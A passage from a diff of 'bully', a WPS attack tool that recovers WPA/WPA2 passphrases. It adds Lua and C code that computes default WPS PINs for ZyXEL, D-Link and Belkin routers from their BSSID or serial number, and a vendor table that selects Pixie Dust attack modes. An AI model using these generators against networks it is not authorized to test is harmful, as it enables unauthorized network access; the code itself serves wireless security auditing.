-- Same as 'algorithm.hex2dec(tbl_bssid, [offset])'
|
||||
-- or 'algorithm.hex2dec(str_bssid, [offset])'
|
||||
function gen_hex2dec(offset)
|
||||
local pin = tonumber(str_bssid:sub(-6), 16)
|
||||
pin = pin + (offset == nil and 0 or offset) -- Default offset = 0
|
||||
pin = pin % 10000000
|
||||
return pin * 10 + wps_pin_checksum(pin)
|
||||
end
|
||||
|
||||
-- Same as 'algorithm.zyxel(tbl_bssid, [offset])'
|
||||
-- or 'algorithm.zyxel(str_bssid, [offset])'
|
||||
function gen_zyxel(offset)
|
||||
local pin = tonumber(str_bssid:sub(-1, -2) .. str_bssid:sub(-3, -4)
|
||||
.. str_bssid:sub(-5, -6), 16)
|
||||
pin = pin + (offset == nil and 0 or offset)
|
||||
pin = pin % 10000000
|
||||
return pin * 10 + wps_pin_checksum(pin)
|
||||
end
|
||||
|
||||
-- Same as 'algorithm.dlink(tbl_bssid, [offset])'
|
||||
-- or 'algorithm.dlink(str_bssid, [offset])
|
||||
function gen_dlink(offset)
|
||||
local pin = tonumber(str_bssid:sub(-6), 16)
|
||||
pin = pin + (offset == nil and 1 or offset) -- WAN mac is BSSID + 1 (default)
|
||||
pin = bit32.bxor(pin, tonumber("0x55AA55"))
|
||||
pin = bit32.bxor(pin, (bit32.lshift(bit32.band(pin, 15), 4)
|
||||
+ bit32.lshift(bit32.band(pin, 15), 8)
|
||||
+ bit32.lshift(bit32.band(pin, 15), 12)
|
||||
+ bit32.lshift(bit32.band(pin, 15), 16)
|
||||
+ bit32.lshift(bit32.band(pin, 15), 20)))
|
||||
pin = pin % 10000000
|
||||
if (pin < 1000000) then pin = pin + ((pin % 9) * 1000000) + 1000000 end
|
||||
return pin * 10 + wps_pin_checksum(pin)
|
||||
end
|
||||
|
||||
-- Same as 'algorithm.belink(tbl_bssid, str_wps_serial)'
|
||||
-- or 'algorithm.belink(str_bssid, str_wps_serial)'
|
||||
function gen_belkin()
|
||||
local sn = {
|
||||
tonumber(str_wps_serial:sub(-1, -1), 16),
|
||||
tonumber(str_wps_serial:sub(-2, -2), 16),
|
||||
tonumber(str_wps_serial:sub(-3, -3), 16),
|
||||
tonumber(str_wps_serial:sub(-4, -4), 16)
|
||||
}
|
||||
local nic = {
|
||||
tonumber(str_bssid:sub(-1, -1), 16),
|
||||
tonumber(str_bssid:sub(-2, -2), 16),
|
||||
tonumber(str_bssid:sub(-3, -3), 16),
|
||||
tonumber(str_bssid:sub(-4, -4), 16)
|
||||
}
|
||||
local k1 = (sn[3] + sn[4] + nic[1] + nic[2]) % 16
|
||||
local k2 = (sn[1] + sn[2] + nic[4] + nic[3]) % 16
|
||||
local pin = bit32.bxor(k1, sn[2])
|
||||
local t1, t2 = bit32.bxor(k1, sn[1]), bit32.bxor(k2, nic[2])
|
||||
local p1 = bit32.bxor(nic[1], sn[2], t1)
|
||||
local p2 = bit32.bxor(k2, nic[1], t2)
|
||||
local p3 = bit32.bxor(k1, sn[3], k2, nic[3])
|
||||
|
||||
k1 = bit32.bxor(k1, k2)
|
||||
|
||||
pin = bit32.bxor(pin, k1) * 16
|
||||
pin = (pin + t1) * 16;
|
||||
pin = (pin + p1) * 16;
|
||||
pin = (pin + t2) * 16;
|
||||
pin = (pin + p2) * 16;
|
||||
pin = (pin + k1) * 16;
|
||||
pin = pin + p3
|
||||
pin = (pin % 10000000) - (math.floor((pin % 10000000) / 10000000) * k1)
|
||||
return pin * 10 + wps_pin_checksum(pin)
|
||||
end
|
|
@ -0,0 +1,22 @@
|
|||
--[[
|
||||
Pure implementations in Lua 5.2 (without using the 'wps' library)
|
||||
]]--
|
||||
|
||||
-- Same as 'wps.pin_checksum(pin)'
|
||||
function wps_pin_checksum(pin)
|
||||
local accum = 0
|
||||
pin = pin * 10
|
||||
accum = accum + 3 * (math.floor(pin / 10000000) % 10)
|
||||
accum = accum + 1 * (math.floor(pin / 1000000) % 10)
|
||||
accum = accum + 3 * (math.floor(pin / 100000) % 10)
|
||||
accum = accum + 1 * (math.floor(pin / 10000) % 10)
|
||||
accum = accum + 3 * (math.floor(pin / 1000) % 10)
|
||||
accum = accum + 1 * (math.floor(pin / 100) % 10)
|
||||
accum = accum + 3 * (math.floor(pin / 10) % 10)
|
||||
return (10 - (accum % 10)) % 10
|
||||
end
|
||||
|
||||
-- Same as 'wps.pin_valid(pin)' except this one returns true or false (!)
|
||||
function wps_pin_valid(pin)
|
||||
return wps_pin_checksum(math.floor(pin / 10)) == (pin % 10)
|
||||
end
|
|
@ -0,0 +1,22 @@
|
|||
--[[
|
||||
DO NOT modify directly global variables IF you want to preserve
|
||||
their original value throughout the execution of the script
|
||||
(tables and numbers; strings are immutable)
|
||||
]]--
|
||||
|
||||
-- Make use of provided libraries!
|
||||
require("algorithm")
|
||||
-- require("wps")
|
||||
|
||||
-- Entry point (returns an arbitrary list of PINs)
|
||||
function main()
|
||||
return algorithm.hex2dec(str_bssid), 12345670
|
||||
end
|
||||
|
||||
--[[
|
||||
Global variables:
|
||||
* tbl_bssid[1..6] (or 'str_bssid' as string variant)
|
||||
* str_essid (string)
|
||||
* str_wps_serial (string)
|
||||
* wps_version (real)
|
||||
]]--
|
|
@ -0,0 +1,282 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include <stdio.h>
|
||||
|
||||
#include <lua.h>
|
||||
#include <lualib.h>
|
||||
#include <lauxlib.h>
|
||||
|
||||
#include "pingen.h"
|
||||
|
||||
/* For debugging when developing */
|
||||
static void stack_dump(lua_State *L)
|
||||
{
|
||||
int i;
|
||||
int top = lua_gettop(L);
|
||||
for (i = 1; i <= top; i++) { /* Repeat for each level */
|
||||
int t = lua_type(L, i);
|
||||
switch (t) {
|
||||
case LUA_TSTRING: /* Strings */
|
||||
printf("`%s'", lua_tostring(L, i));
|
||||
break;
|
||||
case LUA_TBOOLEAN: /* Booleans */
|
||||
printf(lua_toboolean(L, i) ? "true" : "false");
|
||||
break;
|
||||
case LUA_TNUMBER: /* Numbers */
|
||||
printf("%g", lua_tonumber(L, i));
|
||||
break;
|
||||
default: /* Other values */
|
||||
printf("%s", lua_typename(L, t));
|
||||
break;
|
||||
};
|
||||
printf(" "); /* Put a separator */
|
||||
};
|
||||
printf("\n"); /* End the listing */
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'wps_pin_checksum' */
|
||||
static int l_wps_checksum(lua_State *L)
|
||||
{
|
||||
if (lua_gettop(L) == 1) { /* 1 argument passed */
|
||||
if (lua_isnumber(L, -1)) { /* Either number or string representing number */
|
||||
unsigned int n = lua_tonumber(L, -1);
|
||||
n = m_wps_pin_checksum(n);
|
||||
lua_pushnumber(L, n); /* Push result */
|
||||
return 1; /* Number of results returned */
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'wps_pin_valid' */
|
||||
static int l_wps_valid(lua_State *L)
|
||||
{
|
||||
if (lua_gettop(L) == 1) { /* 1 argument passed */
|
||||
if (lua_isnumber(L, -1)) { /* Either number or string representing number */
|
||||
unsigned int n = lua_tonumber(L, -1);
|
||||
n = m_wps_pin_valid(n);
|
||||
lua_pushnumber(L, n); /* Push result */
|
||||
return 1; /* Number of results returned */
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
/* Exposed functions */
|
||||
const struct luaL_Reg wps_fn[] = {
|
||||
{"pin_checksum", l_wps_checksum},
|
||||
{"pin_valid", l_wps_valid },
|
||||
{NULL, NULL}
|
||||
};
|
||||
|
||||
/* Load functions */
|
||||
int luaopen_wpslib(lua_State *L)
|
||||
{
|
||||
luaL_newlibtable(L, wps_fn);
|
||||
luaL_setfuncs(L, wps_fn, 0);
|
||||
return 1;
|
||||
};
|
||||
|
||||
/* Wrapper for pair (bssid, offset) function generators */
|
||||
static int l_gen_wrapper(lua_State *L, unsigned int (*f)(uint8_t *, int), int change)
|
||||
{
|
||||
unsigned int num_args = lua_gettop(L);
|
||||
int index = -1;
|
||||
int offset = change;
|
||||
int type;
|
||||
if (num_args == 1) {
|
||||
|
||||
redo:
|
||||
type = lua_type(L, index);
|
||||
if (type == LUA_TSTRING) {
|
||||
unsigned int len = lua_rawlen(L, index);
|
||||
if (len == 12 || len == 6) {
|
||||
const char *bssid = lua_tostring(L, index) + (len - 6);
|
||||
uint8_t bmac[6]; unsigned int imac[3];
|
||||
sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]);
|
||||
bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2];
|
||||
unsigned int pin = f(bmac, offset);
|
||||
lua_pushnumber(L, pin);
|
||||
return 1; /* Number of results */
|
||||
};
|
||||
} else if (type == LUA_TTABLE) {
|
||||
unsigned int len = lua_rawlen(L, index);
|
||||
if (len == 6 || len == 3) {
|
||||
uint8_t bmac[6];
|
||||
for (unsigned int i = 0; i < 3; i++) {
|
||||
lua_rawgeti(L, index - i, len - 3 + 1 + i);
|
||||
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
|
||||
};
|
||||
lua_pop(L, 3);
|
||||
unsigned int pin = f(bmac, offset);
|
||||
lua_pushnumber(L, pin);
|
||||
return 1; /* Number of results */
|
||||
};
|
||||
};
|
||||
} else if (num_args == 2) {
|
||||
int current = -1;
|
||||
if (lua_type(L, current) == LUA_TNUMBER) {
|
||||
index = -2;
|
||||
} else if (lua_type(L, --current) == LUA_TNUMBER) {
|
||||
index = -1;
|
||||
} else {
|
||||
lua_pushnil(L);
|
||||
return 1;
|
||||
};
|
||||
offset = lua_tonumber(L, current);
|
||||
goto redo; /* If the code is readable, GOTOs are not a bad practice */
|
||||
};
|
||||
lua_pushnil(L); /* Error */
|
||||
return 1;
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'gen_hex2dec' */
|
||||
static int l_gen_hex2dec(lua_State *L)
|
||||
{
|
||||
#define HEX2DEC_OFFSET 0
|
||||
return l_gen_wrapper(L, gen_hex2dec, HEX2DEC_OFFSET);
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'gen_zyxel' */
|
||||
static int l_gen_zyxel(lua_State *L)
|
||||
{
|
||||
#define ZYXEL_OFFSET 0
|
||||
return l_gen_wrapper(L, gen_zyxel, ZYXEL_OFFSET);
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'gen_dlink' */
|
||||
static int l_gen_dlink(lua_State *L)
|
||||
{
|
||||
#define DLINK_OFFSET 1 /* WAN mac is BSSID + 1 */
|
||||
return l_gen_wrapper(L, gen_dlink, DLINK_OFFSET);
|
||||
};
|
||||
|
||||
/* Lua wrapper around 'gen_belkin' */
|
||||
static int l_gen_belkin(lua_State *L)
|
||||
{
|
||||
unsigned int num_args = lua_gettop(L);
|
||||
if (num_args == 2) {
|
||||
int type_first = lua_type(L, -1);
|
||||
int type_second = lua_type(L, -2);
|
||||
if (type_second == LUA_TTABLE && type_first == LUA_TSTRING) {
|
||||
unsigned int len = lua_rawlen(L, -2);
|
||||
if (len == 6 || len == 3) {
|
||||
uint8_t bmac[6];
|
||||
for (unsigned int i = 0; i < 3; i++) {
|
||||
lua_rawgeti(L, -2 - i, len - 3 + 1 + i);
|
||||
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
|
||||
};
|
||||
lua_pop(L, 3);
|
||||
const char *serial = lua_tostring(L, -1);
|
||||
unsigned int pin = gen_belkin(bmac, serial);
|
||||
lua_pushnumber(L, pin);
|
||||
return 1; /* Number of results */
|
||||
} else {
|
||||
goto error; /* Error */
|
||||
};
|
||||
} else if (type_second == LUA_TSTRING && type_first == LUA_TTABLE) {
|
||||
unsigned int len = lua_rawlen(L, -1);
|
||||
if (len == 6 || len == 3) {
|
||||
uint8_t bmac[6];
|
||||
for (unsigned int i = 0; i < 3; i++) {
|
||||
lua_rawgeti(L, -1 - i, len - 3 + 1 + i);
|
||||
bmac[3 + i] = (uint8_t) lua_tonumber(L, -1);
|
||||
};
|
||||
lua_pop(L, 3);
|
||||
const char *serial = lua_tostring(L, -2);
|
||||
unsigned int pin = gen_belkin(bmac, serial);
|
||||
lua_pushnumber(L, pin);
|
||||
return 1; /* Number of results */
|
||||
} else {
|
||||
goto error; /* Error */
|
||||
};
|
||||
} else if (type_second == LUA_TSTRING && type_first == LUA_TSTRING) {
|
||||
unsigned int len1 = lua_rawlen(L, -1);
|
||||
unsigned int len2 = lua_rawlen(L, -2);
|
||||
int idx_bssid;
|
||||
int idx_serial;
|
||||
const char *bssid;
|
||||
const char *serial;
|
||||
unsigned int bssidlen;
|
||||
if ((len2 == 6 || len2 == 12) && (len1 != 6 && len1 != 12)) {
|
||||
idx_bssid = -2;
|
||||
idx_serial = -1;
|
||||
} else if ((len1 == 6 || len1 == 12) && (len2 != 6 && len2 != 12)) {
|
||||
idx_bssid = -1;
|
||||
idx_serial = -2;
|
||||
} else { /* If undistinguishable assume first parameter is bssid */
|
||||
idx_bssid = -2;
|
||||
idx_serial = -1;
|
||||
};
|
||||
serial = lua_tostring(L, idx_serial);
|
||||
bssidlen = lua_rawlen(L, idx_bssid);
|
||||
if (bssidlen == 12 || bssidlen == 6) {
|
||||
const char *bssid = lua_tostring(L, idx_bssid) + (bssidlen - 6);
|
||||
uint8_t bmac[6]; unsigned int imac[3];
|
||||
sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]);
|
||||
bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2];
|
||||
unsigned int pin = gen_belkin(bmac, serial);
|
||||
lua_pushnumber(L, pin);
|
||||
return 1;
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
error:
|
||||
lua_pushnil(L);
|
||||
return 1;
|
||||
};
|
||||
|
||||
/* Exposed functions */
|
||||
const struct luaL_Reg algo_fn[] = {
|
||||
{"hex2dec", l_gen_hex2dec},
|
||||
{"zyxel", l_gen_zyxel },
|
||||
{"dlink", l_gen_dlink },
|
||||
{"belkin", l_gen_belkin },
|
||||
{NULL, NULL}
|
||||
};
|
||||
|
||||
/* Load functions */
|
||||
int luaopen_algolib(lua_State *L)
|
||||
{
|
||||
luaL_newlibtable(L, algo_fn);
|
||||
luaL_setfuncs(L, algo_fn, 0);
|
||||
return 1;
|
||||
};
|
||||
|
||||
/* Create a basic Lua environment (omit some libraries) */
|
||||
lua_State *basic_env() {
|
||||
lua_State *L = luaL_newstate();
|
||||
if (L) {
|
||||
lua_pushcfunction(L, luaopen_base);
|
||||
lua_pushstring(L, "");
|
||||
lua_call(L, 1, 0);
|
||||
lua_pushcfunction(L, luaopen_package);
|
||||
lua_pushstring(L, LUA_LOADLIBNAME);
|
||||
lua_call(L, 1, 0);
|
||||
lua_pushcfunction(L, luaopen_string);
|
||||
lua_pushstring(L, LUA_LOADLIBNAME);
|
||||
lua_call(L, 1, 0);
|
||||
lua_pushcfunction(L, luaopen_table);
|
||||
lua_pushstring(L, LUA_LOADLIBNAME);
|
||||
lua_call(L, 1, 0);
|
||||
lua_pushcfunction(L, luaopen_math);
|
||||
lua_pushstring(L, LUA_LOADLIBNAME);
|
||||
lua_call(L, 1, 0);
|
||||
}
|
||||
return L;
|
||||
};
|
|
@ -0,0 +1,28 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include <lua.h>
|
||||
|
||||
/* Open WPS-related library */
|
||||
int luaopen_wpslib(lua_State *L);
|
||||
|
||||
/* Open PIN algorithms library */
|
||||
int luaopen_algolib(lua_State *L);
|
||||
|
||||
/* Create a basic Lua environment (omit some libraries) */
|
||||
lua_State *basic_env();
|
|
@ -0,0 +1,43 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "pdust.h"
|
||||
|
||||
char OUI_NULL[OUI_STR_LEN] = "-";
|
||||
vendor_t vendor_list[] = {
|
||||
{"\x00\x03\x7f", "AtherosC", PWPS_NONE}, /* Atheros Communications */
|
||||
{"\x00\x10\x18", "Broadcom", PWPS_ECOS_SIMPLE}, /* Broadcom */
|
||||
{"\x00\x50\x43", "MarvellS", PWPS_NONE}, /* MARVELL SEMICONDUCTOR, INC */
|
||||
{"\x00\x0c\x43", "RalinkTe", PWPS_RT}, /* Ralink Technology, Corp. */
|
||||
{"\x00\xe0\x4c", "RealtekS", PWPS_RTL819x} /* REALTEK SEMICONDUCTOR CORP. */
|
||||
};
|
||||
|
||||
#define VENDOR_LIST_SIZE (sizeof(vendor_list)/sizeof(vendor_list[0]))
|
||||
|
||||
char *get_vendor(uint8_t * oui)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < VENDOR_LIST_SIZE; i++) {
|
||||
if (!memcmp(vendor_list[i].oui, oui, 3))
|
||||
return vendor_list[i].name;
|
||||
};
|
||||
return OUI_NULL;
|
||||
};
|
|
@ -0,0 +1,63 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _PDUST_H
|
||||
#define _PDUST_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/* Pixiewps modes */
|
||||
#define PWPS_NONE 0
|
||||
#define PWPS_RT 1
|
||||
#define PWPS_ECOS_SIMPLE 2
|
||||
#define PWPS_RTL819x 3
|
||||
#define PWPS_ECOS_SIMPLEST 4
|
||||
#define PWPS_ECOS_KNUTH 5
|
||||
|
||||
#define OUI_STR_LEN 8 + 1
|
||||
struct vendor_oui {
|
||||
uint8_t oui[3];
|
||||
char name[OUI_STR_LEN];
|
||||
uint8_t pixiewps_mode;
|
||||
};
|
||||
typedef struct vendor_oui vendor_t;
|
||||
|
||||
extern char OUI_NULL[OUI_STR_LEN];
|
||||
extern vendor_t vendor_list[];
|
||||
|
||||
char *get_vendor(uint8_t *oui);
|
||||
|
||||
struct wps_info {
|
||||
uint8_t vendor[3];
|
||||
uint8_t vendor_p;
|
||||
uint8_t version;
|
||||
uint8_t uuid[16];
|
||||
uint16_t category;
|
||||
uint16_t subcategory;
|
||||
uint16_t passw_id;
|
||||
uint8_t passw_id_p;
|
||||
uint16_t config_methods;
|
||||
char manufacturer[64 + 1];
|
||||
char device_name[32 + 1];
|
||||
char model_name[32 + 1];
|
||||
char model_number[32 + 1];
|
||||
char serial_number[32 + 1];
|
||||
};
|
||||
typedef struct wps_info wps_info_t;
|
||||
|
||||
#endif /* _PDUST_H */
|
|
@ -0,0 +1,130 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
/*
|
||||
References:
|
||||
* http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/
|
||||
* http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/
|
||||
*/
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "pingen.h"
|
||||
|
||||
unsigned int m_wps_pin_checksum(unsigned int pin)
|
||||
{
|
||||
unsigned int div = 0;
|
||||
while (pin) {
|
||||
div += 3 * (pin % 10);
|
||||
pin /= 10;
|
||||
div += pin % 10;
|
||||
pin /= 10;
|
||||
};
|
||||
return ((10 - div % 10) % 10);
|
||||
};
|
||||
|
||||
unsigned int m_wps_pin_valid(unsigned int pin)
|
||||
{
|
||||
return m_wps_pin_checksum(pin / 10) == (pin % 10);
|
||||
};
|
||||
|
||||
unsigned int gen_hex2dec(uint8_t *bssid, const int offset)
|
||||
{
|
||||
unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5];
|
||||
pin += offset;
|
||||
pin = pin % 10000000;
|
||||
pin = ((pin * 10) + m_wps_pin_checksum(pin));
|
||||
return pin;
|
||||
};
|
||||
|
||||
unsigned int gen_zyxel(uint8_t *bssid, const int offset)
|
||||
{
|
||||
unsigned int pin = bssid[5] << 16 | bssid[4] << 8 | bssid[3];
|
||||
pin += offset;
|
||||
pin = pin % 10000000;
|
||||
pin = ((pin * 10) + m_wps_pin_checksum(pin));
|
||||
return pin;
|
||||
};
|
||||
|
||||
unsigned int gen_dlink(uint8_t *bssid, const int offset)
|
||||
{
|
||||
unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5];
|
||||
pin += offset;
|
||||
pin = (pin ^ 0x55AA55);
|
||||
pin = pin ^ (((pin & 0x0F) << 4)
|
||||
+ ((pin & 0x0F) << 8)
|
||||
+ ((pin & 0x0F) << 12)
|
||||
+ ((pin & 0x0F) << 16)
|
||||
+ ((pin & 0x0F) << 20));
|
||||
pin = pin % 10000000;
|
||||
if (pin < 1000000) pin += ((pin % 9) * 1000000) + 1000000;
|
||||
pin = ((pin * 10) + m_wps_pin_checksum(pin));
|
||||
return pin;
|
||||
};
|
||||
|
||||
/* Used in the Belkin code to convert an ASCII character to an integer */
|
||||
static int char2int(const char c)
|
||||
{
|
||||
char buf[2] = { 0 };
|
||||
buf[0] = c;
|
||||
return strtol(buf, NULL, 16);
|
||||
};
|
||||
|
||||
unsigned int gen_belkin(uint8_t *bssid, const char *serial)
|
||||
{
|
||||
int sn[4], nic[4];
|
||||
int k1, k2, pin;
|
||||
int p1, p2, p3;
|
||||
int t1, t2;
|
||||
int serial_len = strlen(serial);
|
||||
|
||||
sn[0] = char2int(serial[serial_len - 1]);
|
||||
sn[1] = char2int(serial[serial_len - 2]);
|
||||
sn[2] = char2int(serial[serial_len - 3]);
|
||||
sn[3] = char2int(serial[serial_len - 4]);
|
||||
nic[0] = bssid[5] & 0x0F;
|
||||
nic[1] = (bssid[5] & 0xF0) >> 4;
|
||||
nic[2] = bssid[4] & 0x0F;
|
||||
nic[3] = (bssid[4] & 0xF0) >> 4;
|
||||
|
||||
k1 = (sn[2] + sn[3] + nic[0] + nic[1]) % 16;
|
||||
k2 = (sn[0] + sn[1] + nic[3] + nic[2]) % 16;
|
||||
|
||||
pin = k1 ^ sn[1];
|
||||
|
||||
t1 = k1 ^ sn[0];
|
||||
t2 = k2 ^ nic[1];
|
||||
|
||||
p1 = nic[0] ^ sn[1] ^ t1;
|
||||
p2 = k2 ^ nic[0] ^ t2;
|
||||
p3 = k1 ^ sn[2] ^ k2 ^ nic[2];
|
||||
|
||||
k1 = k1 ^ k2;
|
||||
|
||||
pin = (pin ^ k1) * 16;
|
||||
pin = (pin + t1) * 16;
|
||||
pin = (pin + p1) * 16;
|
||||
pin = (pin + t2) * 16;
|
||||
pin = (pin + p2) * 16;
|
||||
pin = (pin + k1) * 16;
|
||||
pin += p3;
|
||||
pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
|
||||
|
||||
return (pin * 10) + m_wps_pin_checksum(pin);
|
||||
};
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2017 wiire <wi7ire@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _PINGEN_H
|
||||
#define _PINGEN_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
unsigned int gen_hex2dec(uint8_t *bssid, const int offset);
|
||||
unsigned int gen_zyxel(uint8_t *bssid, const int offset);
|
||||
unsigned int gen_dlink(uint8_t *bssid, const int offset);
|
||||
unsigned int gen_belkin(uint8_t *bssid, const char *serial);
|
||||
|
||||
/* Included to avoid possible linking issues with main project */
|
||||
unsigned int m_wps_pin_checksum(unsigned int pin);
|
||||
unsigned int m_wps_pin_valid(unsigned int pin);
|
||||
|
||||
#endif /* _PINGEN_H */
|
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
static inline void set_timer(struct timeval *tv, int ms_from_now)
|
||||
{
|
||||
gettimeofday(tv, 0);
|
||||
tv->tv_sec += ms_from_now / 1000;
|
||||
ms_from_now -= (ms_from_now / 1000) * 1000;
|
||||
tv->tv_usec += ms_from_now * 1000;
|
||||
};
|
||||
|
||||
|
||||
static inline int check_timer(struct timeval *tv)
|
||||
{
|
||||
struct timeval now;
|
||||
gettimeofday(&now, 0);
|
||||
if (tv->tv_sec < now.tv_sec)
|
||||
return TRUE;
|
||||
if (tv->tv_sec == now.tv_sec && tv->tv_usec < now.tv_usec)
|
||||
return TRUE;
|
||||
return FALSE;
|
||||
};
|
||||
|
||||
|
||||
static inline int elapsed(struct timeval *then)
|
||||
{
|
||||
struct timeval now;
|
||||
gettimeofday(&now, 0);
|
||||
|
||||
if (now.tv_usec < then->tv_usec)
|
||||
return ((now.tv_sec - 1) - then->tv_sec) * 1000 + (now.tv_usec + 1000000 -
|
||||
then->tv_usec) / 1000;
|
||||
else
|
||||
return (now.tv_sec - then->tv_sec) * 1000 + (now.tv_usec - then->tv_usec) / 1000;
|
||||
};
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue